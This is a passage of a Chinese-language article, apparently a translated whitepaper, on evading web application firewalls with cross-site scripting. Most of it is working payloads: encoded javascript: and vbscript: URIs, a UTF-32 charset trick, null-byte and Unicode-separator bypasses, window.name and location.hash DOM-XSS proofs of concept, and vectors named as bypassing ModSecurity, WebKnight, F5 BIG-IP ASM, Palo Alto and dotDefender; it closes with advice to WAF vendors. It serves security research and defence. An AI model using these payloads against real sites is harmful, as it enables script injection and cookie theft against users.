  雙引號和分號會閉合已有的屬性,而後alert函數就會執行,這裏是它實際執行的狀況:

<script>
Var x=」「;alert(1)//」; </script>

 

很是規的事件監聽:
  不少時候須要在JavaScript中使用很是規的事件處理,如DOMfocusin、DOMfocusout,這些事件讓事件監聽獲得適當的執行

";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//

 

這裏是同種類的事件處理函數:

複製代碼
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
複製代碼

 

href上下文:

  另一個你常常會遇到的上下文是href標籤中的輸入:

<a href=」Userinput」>Click</a>

   

  這種狀況下,咱們只需直接插入JavaScript,用戶點擊就會執行
  javascript:alert(1)//
  完整的語句爲:

<a href=」javascript:alert(1)//」>Click</a>

 

  大多數你遇到的黑名單過濾器都回刪掉JavaScript關鍵字或者查找冒號後面的javaScript。這種狀況下你可使用HTML實體編碼和URL編碼來繞過黑名單,href標籤會自動解碼實體。若是仍是不行,你能夠試試vbscript,該僞協議在IE10和data URI中都能支持。

Javascript變種:

  下面是幾個JavaScript變種:

javascript&#00058;alert(1)
javaSCRIPT&colon;alert(1)
jaVaScRipT:alert(1)
javas&Tab;cript:\u0061lert(1);
javascript:\u0061lert&#x28;1&#x29
javascript&#x3A;alert&lpar;document&period;cookie&rpar;

 

vbscript變種:

vbscript:alert(1);
vbscript&#00058;alert(1);
vbscr&Tab;ipt:alert(1)"

Data URl:

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

 

Json上下文:
  在encodeURIComponent中插入JavaScript代碼,很容易觸發XSS並在全部的瀏覽器中執行


輸入反射:

  encodeURIComponent('userinput')
  例如:-alert(1)-
  -prompt(1)-
  -confirm(1)-
  執行結果就是

encodeURIComponent('-alert(1)-')

svg標籤中的輸入反射:

  svg中的用戶輸入有點不一樣,HTML5的到來使得svg的使用獲得戲劇性的增長。使用它也引起了不少問題,試想以下場景,你的輸入被反射到<svg>裏面的<script>標籤中

<svg><script>varmyvar=」YourInput」;</script></svg>

  當咱們提交以下輸入時:www.site.com/test.php?var=text」;alert(1)//

  有時候雙引號會被編碼,但它還是有效的javascript語法並會獲得執行

<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

  至於它會執行的是由於在HTML中引入了額外的上下文(XML),解決方法能夠對字符進行兩次編碼

 


5.1 瀏覽器Bug

  以前提到過,繞過web應用過濾器的關鍵在於咱們比WAF提供商更好的瞭解瀏覽器,只有當咱們理解了瀏覽器的工做方式纔有可能找到bug並利用其爲我所用。這一節咱們會談一談瀏覽器的bug

 

5.1.2 字符集Bug

  字符集bug在IE中也很常見,第一個字符集bug是UTF-7,然而咱們並不會去討論,它只對之前的瀏覽器有效。但我仍是會談到一個比較好玩的場景,咱們能夠在現代瀏覽器中執行JavaScript腳本。字符集定義了頁面編碼的方式,大部分internet網站使用的是utf-8編碼,固然也有一些使用的是其餘編碼方式。若是你能經過篡改參數將頁面的編碼方式改成你選擇的,咱們能夠繞過99.99%的WAF和例如html特殊字符的防護方式,固然這種狀況也十分少見。


  試想一下下面這個場景,下面的應用使用html特殊符號,或者你碰到了一個會編碼輸入的WAF,字符集參數定義了默認的編碼方式爲utf-8
  http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
  咱們注入測試載荷並觀察返回結果;
  http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=」><img src=x onerror=prompt(0);>

這樣咱們就有了一個能夠設置字符集的參數,能夠將其改成utf-32並注入基於utf-32的載荷:

∀㸀㰀script㸀alert(1)㰀/script㸀

  當咱們注入上面的載荷時,它就會被編碼爲咱們設置的utf-32,而後編碼頁面爲utf-8,表現爲以下:

"<script>alert (1) </ script>

 

最終的poc以下:

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-  
32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

 

 

 

  上面的攻擊載荷會在IE9及以前的版本執行JavaScript代碼,它能在IE9中執行是由於IE不只沒法識別utf-32(固然firefox也沒法識別),並且IE直到IE9都不會處理空字節(0x00),而Chrome和safari均可以識別utf-32

 

5.1.3 空字節

  若是你有編程基礎的話,你對空字節必定不會感到陌生,它們一般用於字符串終結符。IE9以前的版本都會忽略空字節,而這能夠幫咱們規避許多web應用程序過濾器,由於它們可能並不會過濾空字符。幾個月前,我用空字符繞過了mod_security的xss過濾器,以下;

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
<!--空字節直到php5.3.8還能奏效>

 

5.1.4 解析bug
  RFC文檔聲明瞭節點名不能是空格,這意味着下面的代碼不能運行

<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>

  不妨試想一下,過濾器在節點名開始處就查找字符(a-z)並將其過濾掉。可是若是咱們能夠注入其它如% , // , !等的特殊符號,咱們就可能繞過舊版本的IE過濾器。緣由是舊版本IE的攻擊載荷,例如<%,<//,<!,<?會被解析爲<,而後咱們就能夠在這些字符後面注入攻擊載荷了,下面是幾個例子;

<// style=x:expression\28write(1)\29> // Works upto IE7
<!--[if]><script>alert(1)</script --> // Works upto IE9
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>



5.1.5 Unicode分隔符

  在Unicode字符集中有一些分隔符,好比空格,每一個瀏覽器都有它本身的分隔符。當你碰上一個有着良好規則的WAF,它們一般會攔截全部的事件處理函數,阻塞全部事件處理函數的正則表達式以下所示:
          [on\w+\s*]
  上面的正則表達式會查找全部以on*開通的字符串並將其刪除,元字符"\s"的問題是它不包含一些分隔符,如x0b

  爲了肯定每一個瀏覽器的有效分隔符,咱們能夠從0x00到0xff進行模糊測試,幸運的是已經有人爲每一個瀏覽器編出了一個有效分隔符的列表:

IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]

  上面全部這些分隔符中,oxb是比較難搞懂的,mod_security使用相似上面描述的正表達式,我用下面的poc又一次繞過了mod_security

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec

 

  下面的python代碼會打印出從0x00到0xff的全部字符:

count = 0
fori in xrange(0x00,0xff):
count += 0x1
printchr(i),
print count

 

5.2.1 缺失X-frame-Options

  常常存在一個誤解,認爲x-frame options是用來防範點擊劫持漏洞的,不過防止網站被攻陷可使你免於無窮無盡的漏洞
  

5.2.2 Docmodes

  IE在好久前引入了doc-mode,用於提供向後的兼容性,然而這也暴露了一些風險。設想若是攻擊者能攻下你的網站,他也能夠引入doc-mode並執行CSS表達式:
  expression(open(alert(1)))

  下面的poc會插入IE7仿真器並將一個網站地址置於iframe中

<html>
<body>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframe src="https://targetwebsite.com">
</body>
</html>

 

5.2.3 Window.name

  名稱對象告訴咱們窗口的名字,在這樣一個場景咱們能夠加載頁面,在iframe中咱們也能控制窗口的名字,咱們能夠執行javaScript腳本並繞過長度的限制,在設想一下咱們能夠攻陷一個網站卻不能注入"javascript:alert(1)"
POC:

<iframe src='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//' name="javascript:alert("XSS")"></iframe>

  參數位置至關於"window.name",由於咱們已經控制了名稱屬性,咱們能夠將名字設置爲「javascript:alert(xss)」,再而後,咱們就能夠執行javascript腳本了

 

6.1 基於DOM的XSS
  服務端的過濾器沒法應對基於DOM的XSS,緣由在於基於DOM的XSS其XSS攻擊向量老是在客戶端執行,看一下最簡單的例子:

<script>
vari=location.hash;
document.write(i);
</script>

  上面的JavaScript獲取location.hash的輸入,location.hash後面傳遞的任何東西都不會發給服務器,接下來基於用戶的輸入經過document.write屬性直接打印給DOM而沒有任何JavaScript轉義,這會致使基於DOM的XSS

  在一些場合下咱們會將一個反射型XSS轉換爲基於DOM的XSS以避開過濾器,看一下這個POC:

http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()

  上面的POC僅當[及.和+被容許時纔有效,咱們可使用location.hash來注入全部不被容許的字符。上面的場景中(,)和:不被容許,然而[,.和+是被容許的。所以,咱們在     想注入不容許字符的地方使用location.hash[index]進行插入。

Location.hash[2]= ( // Defined at the second position after the hash. 
Location.hash[3] = ) // Defined at third position after the hash.
Location.hash[1] = : // Defined at the first position after the hash.

 

  基於DOM的XSS的惟一障礙是客戶端的過濾器,咱們會在一個單獨的頁面裏看一下繞過的方法

 

 

7.1 繞過
  經過調整cheat sheet裏的攻擊載荷,咱們能繞過大多數流行的WAF,咱們決定有一些方法等到廠商修復後再公佈,以避免違背道德黑客精神

 

7.1.1 繞過ModSecurity

<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec

 

7.1.2 繞過webKnight

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>

 

7.1.3 繞過F5 BIG IP ASM and Palo ALTO

<table background="javascript:alert(1)"></table>

  上面的向量僅在IE6和更早版本中的opera有效,在寫這些的時候咱們確實還有一些對F五、BIG IP和Palo ALTO有效的向量,使用這些向量能夠在如今的瀏覽器中執行JavaScript腳本。不過,在咱們決定不公開的時候供應商也正在忙着修復這些問題

  這是另外一個能夠繞過F5 BIG IP ASM的:

「/><marquee onfinish=confirm(123)>a</marquee>

 

7.1.4 繞過Dot Defender

<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>

 

結論:
  到這裏能夠得出結論,黑名單不是一個完美的解決方案,也沒法成爲完美的解決方案;黑名單能夠節省時間,然而,它使得應用相比白名單有更多地漏洞。咱們但願能像WAF供應商推薦下面這些最佳實踐

1)開發人員和管理員應該記住,除非漏洞從源代碼級別打上了補丁,不然WAF只是用於已知的漏洞控制器/參數的短期內的安全機制

2)給WAF的簽名數據庫及時更新並在上線前對其進行測試以確保按預期的方式運行3)WAF僅當配置有特定控制器/參數的簽名時才能提供幫助,所以它須要手工定義指望的值得類型、最小/最大長度、content-type等參數以確保WAF在遇到入侵請求時能知道何時該阻塞、何時該報警4)若是WAF依賴於黑名單,你要讓你的簽名庫保持最新並週期性地核實WAF維護者發佈的新簽名,確保它能夠阻塞已知的瀏覽器bug

相關文章
相關標籤/搜索